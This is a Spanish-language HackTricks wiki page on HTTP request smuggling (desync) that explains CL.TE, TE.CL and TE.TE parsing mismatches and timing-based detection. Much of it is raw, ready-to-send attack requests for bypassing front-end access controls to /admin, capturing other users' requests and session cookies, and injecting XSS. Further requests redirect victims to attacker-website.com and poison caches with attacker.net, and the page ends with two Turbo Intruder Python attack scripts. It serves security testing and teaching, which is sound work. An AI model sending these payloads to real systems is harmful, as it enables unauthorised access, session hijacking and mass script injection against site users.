Español - Ht
HackTricks Training Twitter Linkedin Sponsor

HTTP Request Smuggling / HTTP Desync Attack

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Qué es

Esta vulnerabilidad ocurre cuando una desincronización entre proxies de front-end y el servidor de back-end permite a un atacante enviar una solicitud HTTP que será interpretada como una sola solicitud por los proxies de front-end (balanceador de carga/proxy inverso) y como 2 solicitudes por el servidor de back-end. Esto permite a un usuario modificar la siguiente solicitud que llega al servidor de back-end después de la suya.

Teoría

Especificación RFC (2161)

Si se recibe un mensaje con un campo de encabezado Transfer-Encoding y un campo de encabezado Content-Length, este último DEBE ser ignorado.

Content-Length

El encabezado de entidad Content-Length indica el tamaño del cuerpo de la entidad, en bytes, enviado al destinatario.

Transfer-Encoding: chunked

El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo de carga útil al usuario. Chunked significa que los datos grandes se envían en una serie de fragmentos.

Realidad

El Front-End (un balanceador de carga / Proxy Inverso) procesa el encabezado content-length o el transfer-encoding y el servidor de Back-end procesa el otro provocando una desincronización entre los 2 sistemas. Esto podría ser muy crítico ya que un atacante podrá enviar una solicitud al proxy inverso que será interpretada por el servidor de back-end como 2 solicitudes diferentes. El peligro de esta técnica radica en el hecho de que el servidor de back-end interpretará la 2da solicitud inyectada como si hubiera venido del siguiente cliente y la solicitud real de ese cliente será parte de la solicitud inyectada.

Particularidades

Recuerda que en HTTP un carácter de nueva línea está compuesto por 2 bytes:

  • Content-Length: Este encabezado utiliza un número decimal para indicar el número de bytes del cuerpo de la solicitud. Se espera que el cuerpo termine en el último carácter, no se necesita una nueva línea al final de la solicitud.

  • Transfer-Encoding: Este encabezado utiliza en el cuerpo un número hexadecimal para indicar el número de bytes del próximo fragmento. El fragmento debe terminar con una nueva línea pero esta nueva línea no se cuenta en el indicador de longitud. Este método de transferencia debe terminar con un fragmento de tamaño 0 seguido de 2 nuevas líneas: 0

  • Connection: Basado en mi experiencia, se recomienda usar Connection: keep-alive en la primera solicitud del Request Smuggling.

Ejemplos Básicos

Cuando intentes explotar esto con Burp Suite desactiva Actualizar longitud de contenido y Normalizar saltos de línea HTTP/1 en el repetidor porque algunos gadgets abusan de saltos de línea, retornos de carro y longitudes de contenido malformadas.

Los ataques de solicitud HTTP smuggling se crean enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados Content-Length (CL) y Transfer-Encoding (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como CL.TE, TE.CL y TE.TE. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de los servidores procesando la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.

Ejemplos Básicos de Tipos de Vulnerabilidad

Vulnerabilidad CL.TE (Content-Length usado por Front-End, Transfer-Encoding usado por Back-End)

  • Front-End (CL): Procesa la solicitud basándose en el encabezado Content-Length.

  • Back-End (TE): Procesa la solicitud basándose en el encabezado Transfer-Encoding.

  • Escenario de Ataque:

  • El atacante envía una solicitud donde el valor del encabezado Content-Length no coincide con la longitud real del contenido.

  • El servidor de front-end reenvía toda la solicitud al back-end, basándose en el valor de Content-Length.

  • El servidor de back-end procesa la solicitud como fragmentada debido al encabezado Transfer-Encoding: chunked, interpretando los datos restantes como una solicitud separada y posterior.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Vulnerabilidad TE.CL (Transfer-Encoding usado por Front-End, Content-Length usado por Back-End)

  • Front-End (TE): Procesa la solicitud basándose en el encabezado Transfer-Encoding.

  • Back-End (CL): Procesa la solicitud basándose en el encabezado Content-Length.

  • Escenario de Ataque:

  • El atacante envía una solicitud fragmentada donde el tamaño del fragmento (7b) y la longitud real del contenido (Content-Length: 4) no se alinean.

  • El servidor de front-end, respetando Transfer-Encoding, reenvía toda la solicitud al back-end.

  • El servidor de back-end, respetando Content-Length, procesa solo la parte inicial de la solicitud (7b bytes), dejando el resto como parte de una solicitud posterior no deseada.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Vulnerabilidad TE.TE (Transfer-Encoding utilizado por ambos, con obfuscación)

  • Servidores: Ambos admiten Transfer-Encoding, pero uno puede ser engañado para ignorarlo mediante obfuscación.

  • Escenario de Ataque:

  • El atacante envía una solicitud con encabezados de Transfer-Encoding obfuscados.

  • Dependiendo de qué servidor (frontal o trasero) no reconoce la obfuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.

  • La parte no procesada de la solicitud, tal como la ve uno de los servidores, se convierte en parte de una solicitud posterior, lo que lleva al contrabando.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Escenario CL.CL (Content-Length utilizado por ambos, Front-End y Back-End):

  • Ambos servidores procesan la solicitud basándose únicamente en el encabezado Content-Length.

  • Este escenario típicamente no conduce al contrabando, ya que hay alineación en cómo ambos servidores interpretan la longitud de la solicitud.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Solicitud Normal

Escenario CL != 0:

  • Se refiere a escenarios donde el encabezado Content-Length está presente y tiene un valor distinto de cero, lo que indica que el cuerpo de la solicitud tiene contenido.

  • Es crucial para comprender y elaborar ataques de contrabando, ya que influye en cómo los servidores determinan el final de una solicitud.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Cuerpo no vacío

Rompiendo el servidor web

Esta técnica también es útil en escenarios donde es posible romper un servidor web mientras se lee los datos HTTP iniciales pero sin cerrar la conexión. De esta manera, el cuerpo de la solicitud HTTP se considerará la siguiente solicitud HTTP.

Por ejemplo, como se explica en este artículo, en Werkzeug era posible enviar algunos caracteres Unicode y hará que el servidor falle. Sin embargo, si la conexión HTTP se creó con el encabezado Connection: keep-alive, el cuerpo de la solicitud no se leerá y la conexión seguirá abierta, por lo que el cuerpo de la solicitud se tratará como la siguiente solicitud HTTP.

Forzando a través de encabezados hop-by-hop

Abusando de los encabezados hop-by-hop, podrías indicar al proxy que elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de una solicitud HTTP smuggling.

Connection: Content-Length

Para más información sobre encabezados de paso a paso, visita:

pagehop-by-hop headers

Encontrar HTTP Request Smuggling

Identificar vulnerabilidades de HTTP request smuggling a menudo se puede lograr utilizando técnicas de temporización, que dependen de observar cuánto tiempo tarda el servidor en responder a las solicitudes manipuladas. Estas técnicas son particularmente útiles para detectar vulnerabilidades CL.TE y TE.CL. Además de estos métodos, existen otras estrategias y herramientas que se pueden utilizar para encontrar tales vulnerabilidades:

Encontrar Vulnerabilidades CL.TE Utilizando Técnicas de Temporización

  • Método:

  • Enviar una solicitud que, si la aplicación es vulnerable, hará que el servidor de back-end espere datos adicionales.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • Observación:

  • El servidor de front-end procesa la solicitud en función de Content-Length y corta el mensaje prematuramente.

  • El servidor de back-end, esperando un mensaje fragmentado, espera el siguiente fragmento que nunca llega, causando un retraso.

  • Indicadores:

  • Tiempos de espera o largos retrasos en la respuesta.

  • Recibir un error 400 Bad Request del servidor de back-end, a veces con información detallada del servidor.

Encontrar Vulnerabilidades TE.CL Utilizando Técnicas de Temporización

  • Método:

  • Enviar una solicitud que, si la aplicación es vulnerable, hará que el servidor de back-end espere datos adicionales.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

  • Observación:

  • El servidor de front-end procesa la solicitud en función de Transfer-Encoding y reenvía el mensaje completo.

  • El servidor de back-end, esperando un mensaje en función de Content-Length, espera datos adicionales que nunca llegan, causando un retraso.

Otros Métodos para Encontrar Vulnerabilidades

  • Análisis Diferencial de Respuestas:

  • Enviar versiones ligeramente variadas de una solicitud y observar si las respuestas del servidor difieren de manera inesperada, lo que indica una discrepancia en el análisis.

  • Uso de Herramientas Automatizadas:

  • Herramientas como la extensión 'HTTP Request Smuggler' de Burp Suite pueden probar automáticamente estas vulnerabilidades enviando diversas formas de solicitudes ambiguas y analizando las respuestas.

  • Pruebas de Variación de Content-Length:

  • Enviar solicitudes con valores de Content-Length variables que no coincidan con la longitud real del contenido y observar cómo el servidor maneja tales discrepancias.

  • Pruebas de Variación de Transfer-Encoding:

  • Enviar solicitudes con encabezados de Transfer-Encoding obfuscados o malformados y monitorear cómo responden de manera diferente los servidores de front-end y back-end a tales manipulaciones.

Pruebas de Vulnerabilidad de HTTP Request Smuggling

Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si las solicitudes de los clientes pueden ser manipuladas. Un método sencillo es intentar envenenar tus solicitudes, por ejemplo, haciendo que una solicitud a / genere una respuesta 404. Los ejemplos de CL.TE y TE.CL discutidos anteriormente en Ejemplos Básicos muestran cómo envenenar una solicitud de cliente para provocar una respuesta 404, a pesar de que el cliente intenta acceder a un recurso diferente.

Consideraciones Clave

Al probar vulnerabilidades de request smuggling al interferir con otras solicitudes, ten en cuenta:

  • Conexiones de Red Distintas: Las solicitudes "de ataque" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.

  • URL y Parámetros Consistentes: Intenta utilizar URLs idénticas y nombres de parámetros para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos en función de la URL y los parámetros. Coincidir con estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.

  • Temporización y Condiciones de Carrera: La solicitud "normal", destinada a detectar la interferencia de la solicitud "de ataque", compite contra otras solicitudes de aplicación concurrentes. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "de ataque". Las aplicaciones ocupadas pueden requerir múltiples pruebas para confirmar la vulnerabilidad de manera concluyente.

  • Desafíos de Balanceo de Carga: Los servidores de front-end que actúan como balanceadores de carga pueden distribuir las solicitudes en varios sistemas de back-end. Si las solicitudes "de ataque" y "normales" terminan en sistemas diferentes, el ataque no tendrá éxito. Este aspecto del balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.

  • Impacto no Intencionado en el Usuario: Si tu ataque afecta inadvertidamente a la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso.

Abusando de HTTP Request Smuggling

Eludir la Seguridad de Front-End a través de HTTP Request Smuggling

A veces, los proxies de front-end imponen medidas de seguridad, escrutando las solicitudes entrantes. Sin embargo, estas medidas pueden eludirse explotando HTTP Request Smuggling, permitiendo el acceso no autorizado a puntos finales restringidos. Por ejemplo, acceder a /admin podría estar prohibido externamente, con el proxy de front-end bloqueando activamente tales intentos. No obstante, este proxy puede omitir inspeccionar las solicitudes incrustadas dentro de una solicitud HTTP contrabandeada, dejando una brecha para eludir estas restricciones.

Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede utilizarse para evadir los controles de seguridad de front-end, apuntando específicamente al camino /admin que típicamente está protegido por el proxy de front-end:

Ejemplo de CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

En el ataque CL.TE, se aprovecha el encabezado Content-Length para la solicitud inicial, mientras que la solicitud incrustada posterior utiliza el encabezado Transfer-Encoding: chunked. El proxy de front-end procesa la solicitud POST inicial pero no inspecciona la solicitud incrustada GET /admin, lo que permite el acceso no autorizado al camino /admin.

Ejemplo TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Por el contrario, en el ataque TE.CL, la solicitud POST inicial utiliza Transfer-Encoding: chunked, y la solicitud incrustada posterior se procesa en función del encabezado Content-Length. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud GET /admin infiltrada, otorgando inadvertidamente acceso al camino restringido /admin.

Revelando la reescritura de solicitudes de front-end

Las aplicaciones a menudo emplean un servidor de front-end para modificar las solicitudes entrantes antes de enviarlas al servidor de back-end. Una modificación típica implica agregar encabezados, como X-Forwarded-For: <IP del cliente>, para transmitir la IP del cliente al back-end. Comprender estas modificaciones puede ser crucial, ya que podría revelar formas de burlar protecciones o descubrir información o puntos finales ocultos.

Para investigar cómo un proxy altera una solicitud, localiza un parámetro POST que el back-end refleja en la respuesta. Luego, crea una solicitud, utilizando este parámetro al final, similar a la siguiente:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

En esta estructura, los componentes de la solicitud posterior se agregan después de search=, que es el parámetro reflejado en la respuesta. Esta reflexión expondrá los encabezados de la solicitud posterior.

Es importante alinear el encabezado Content-Length de la solicitud anidada con la longitud real del contenido. Comenzar con un valor pequeño e incrementar gradualmente es recomendable, ya que un valor demasiado bajo truncará los datos reflejados, mientras que un valor demasiado alto puede hacer que la solicitud genere un error.

Esta técnica también es aplicable en el contexto de una vulnerabilidad TE.CL, pero la solicitud debe terminar con search=\r\n0. Independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.

Este método sirve principalmente para comprender las modificaciones de la solicitud realizadas por el proxy de front-end, realizando esencialmente una investigación autodirigida.

Capturando las solicitudes de otros usuarios

Es factible capturar las solicitudes del siguiente usuario agregando una solicitud específica como el valor de un parámetro durante una operación POST. Así es como se puede lograr:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

En este escenario, el parámetro de comentario está destinado a almacenar el contenido dentro de la sección de comentarios de una publicación en una página de acceso público. En consecuencia, el contenido de la solicitud posterior aparecerá como un comentario.

Sin embargo, esta técnica tiene limitaciones. Generalmente, captura datos solo hasta el delimitador de parámetros utilizado en la solicitud contrabandeada. Para envíos de formularios codificados en URL, este delimitador es el carácter &. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer &, que incluso puede ser parte de la cadena de consulta.

Además, es importante tener en cuenta que este enfoque también es viable con una vulnerabilidad TE.CL. En tales casos, la solicitud debe concluir con search=\r\n0. Independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.

Utilizando el contrabando de solicitudes HTTP para explotar XSS reflejado

El contrabando de solicitudes HTTP se puede aprovechar para explotar páginas web vulnerables a XSS Reflejado, ofreciendo ventajas significativas:

  • No se requiere interacción con los usuarios objetivo.

  • Permite la explotación de XSS en partes de la solicitud que son normalmente inaccesibles, como las cabeceras de solicitud HTTP.

En escenarios donde un sitio web es susceptible a XSS Reflejado a través de la cabecera User-Agent, la siguiente carga útil demuestra cómo explotar esta vulnerabilidad:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Este payload está estructurado para explotar la vulnerabilidad mediante:

  1. Iniciar una solicitud POST, aparentemente típica, con un encabezado Transfer-Encoding: chunked para indicar el inicio del smuggling.

  2. Seguir con un 0, marcando el final del cuerpo del mensaje chunked.

  3. Luego, se introduce una solicitud GET smuggled, donde el encabezado User-Agent es inyectado con un script, <script>alert(1)</script>, desencadenando el XSS cuando el servidor procesa esta solicitud subsecuente.

Al manipular el User-Agent a través del smuggling, el payload evade las restricciones normales de la solicitud, explotando así la vulnerabilidad de Reflected XSS de una manera no estándar pero efectiva.

HTTP/0.9

En caso de que el contenido del usuario se refleje en una respuesta con un Content-type como text/plain, evitando la ejecución del XSS. ¡Si el servidor soporta HTTP/0.9 podría ser posible evadir esto!

La versión HTTP/0.9 fue anterior a la 1.0 y solo usa verbos GET y no responde con encabezados, solo el cuerpo.

En este artículo, esto fue abusado con un smuggling de solicitud y un punto final vulnerable que responderá con la entrada del usuario para contrabandear una solicitud con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una respuesta falsa de HTTP/1.1 (con encabezados y cuerpo), por lo que la respuesta contendrá código JS ejecutable válido con un Content-Type de text/html.

Explotando Redirecciones en el Sitio con HTTP Request Smuggling

Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado Host en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra diagonal al final resulta en una redirección para incluir la barra:

GET /home HTTP/1.1
Host: normal-website.com

Resultados en:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Aunque parezca inofensivo, este comportamiento puede ser manipulado utilizando el contrabando de solicitudes HTTP para redirigir a los usuarios a un sitio externo. Por ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Esta solicitud contrabandeada podría hacer que la siguiente solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Resultados en:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

En este escenario, la solicitud de un usuario de un archivo JavaScript es secuestrada. El atacante potencialmente puede comprometer al usuario sirviendo JavaScript malicioso como respuesta.

Explotando la Contaminación de Caché Web a través de la Manipulación de Solicitudes HTTP

La contaminación de caché web puede llevarse a cabo si algún componente de la infraestructura del front-end almacena en caché contenido, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible contaminar la caché.

Anteriormente, observamos cómo las respuestas del servidor podían ser alteradas para devolver un error 404 (consulte Ejemplos Básicos). De manera similar, es factible engañar al servidor para que entregue el contenido de /index.html en respuesta a una solicitud de /static/include.js. En consecuencia, el contenido de /static/include.js se reemplaza en la caché por el de /index.html, haciendo que /static/include.js sea inaccesible para los usuarios, lo que potencialmente puede llevar a un Denegación de Servicio (DoS).

Esta técnica se vuelve particularmente potente si se descubre una vulnerabilidad de Redirección Abierta o si hay una redirección en el sitio a una redirección abierta. Estas vulnerabilidades pueden ser explotadas para reemplazar el contenido en caché de /static/include.js con un script bajo el control del atacante, lo que permite efectivamente un ataque generalizado de Cross-Site Scripting (XSS) contra todos los clientes que soliciten el /static/include.js actualizado.

A continuación se muestra una ilustración de la explotación de contaminación de caché combinada con una redirección en el sitio a una redirección abierta. El objetivo es alterar el contenido en caché de /static/include.js para servir código JavaScript controlado por el atacante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Tenga en cuenta la solicitud incrustada dirigida a /post/next?postId=3. Esta solicitud será redirigida a /post?postId=4, utilizando el valor del encabezado Host para determinar el dominio. Al alterar el encabezado Host, el atacante puede redirigir la solicitud a su dominio (redirección interna a redirección abierta).

Después de un exitoso envenenamiento de socket, se debe iniciar una solicitud GET para /static/include.js. Esta solicitud será contaminada por la solicitud previa de redirección interna a redirección abierta y obtendrá el contenido del script controlado por el atacante.

Posteriormente, cualquier solicitud para /static/include.js servirá el contenido en caché del script del atacante, lanzando efectivamente un amplio ataque XSS.

Uso del contrabando de solicitudes HTTP para realizar engaño de caché web

¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?

  • En el envenenamiento de caché web, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.

  • En el engaño de caché web, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.

El atacante crea una solicitud contrabandeada que obtiene contenido sensible específico del usuario. Considere el siguiente ejemplo:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Si esta solicitud contrabandeada envenena una entrada de caché destinada a contenido estático (por ejemplo, /someimage.png), los datos sensibles de la víctima de /private/messages podrían ser almacenados en la entrada de caché del contenido estático. En consecuencia, el atacante podría potencialmente recuperar estos datos sensibles almacenados en caché.

Abusando de TRACE a través de HTTP Request Smuggling

En esta publicación se sugiere que si el servidor tiene habilitado el método TRACE, podría ser posible abusar de él con un HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier encabezado enviado al servidor como parte del cuerpo de la respuesta. Por ejemplo:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Se enviará una respuesta como:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un ejemplo de cómo abusar de este comportamiento sería contrabandear primero una solicitud HEAD. Esta solicitud será respondida solo con los encabezados de una solicitud GET (Content-Type entre ellos). Y contrabandear inmediatamente después de la HEAD una solicitud TRACE, que estará reflejando los datos enviados. Dado que la respuesta HEAD contendrá un encabezado Content-Length, la respuesta de la solicitud TRACE se tratará como el cuerpo de la respuesta HEAD, reflejando así datos arbitrarios en la respuesta. Esta respuesta se enviará a la siguiente solicitud a través de la conexión, por lo que esto podría ser utilizado en un archivo JS en caché, por ejemplo, para inyectar código JS arbitrario.

Abusando de TRACE a través de la División de Respuesta HTTP

Continuar siguiendo este post sugiere otra forma de abusar del método TRACE. Como se comentó, contrabandear una solicitud HEAD y una solicitud TRACE es posible controlar algunos datos reflejados en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y está formada por la respuesta a la solicitud TRACE.

Por lo tanto, la nueva idea sería que, sabiendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, lo que permite a un atacante controlar completamente la solicitud a la siguiente respuesta (que podría ser utilizada para realizar un envenenamiento de caché).

Ejemplo:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Generará estas respuestas (nota cómo la respuesta HEAD tiene un Content-Length haciendo que la respuesta TRACE sea parte del cuerpo de HEAD y una vez que termina el Content-Length de HEAD se introduce una respuesta HTTP válida).

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Armando un Ataque con Smuggling de Peticiones HTTP con Desincronización de Respuesta HTTP

¿Has encontrado alguna vulnerabilidad de Smuggling de Peticiones HTTP y no sabes cómo explotarla? Prueba este otro método de explotación:

pageHTTP Response Smuggling / Desync

Otras Técnicas de Smuggling de Peticiones HTTP

  • Smuggling de Peticiones HTTP en el Navegador (Lado del Cliente)

pageBrowser HTTP Request Smuggling

  • Smuggling de Peticiones en Downgrades de HTTP/2

pageRequest Smuggling in HTTP/2 Downgrades

Scripts de Turbo Intruder

CL.TE

Desde https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Desde: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Herramientas

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

AnteriorHTTP Connection Request SmugglingSiguienteBrowser HTTP Request Smuggling

Última actualización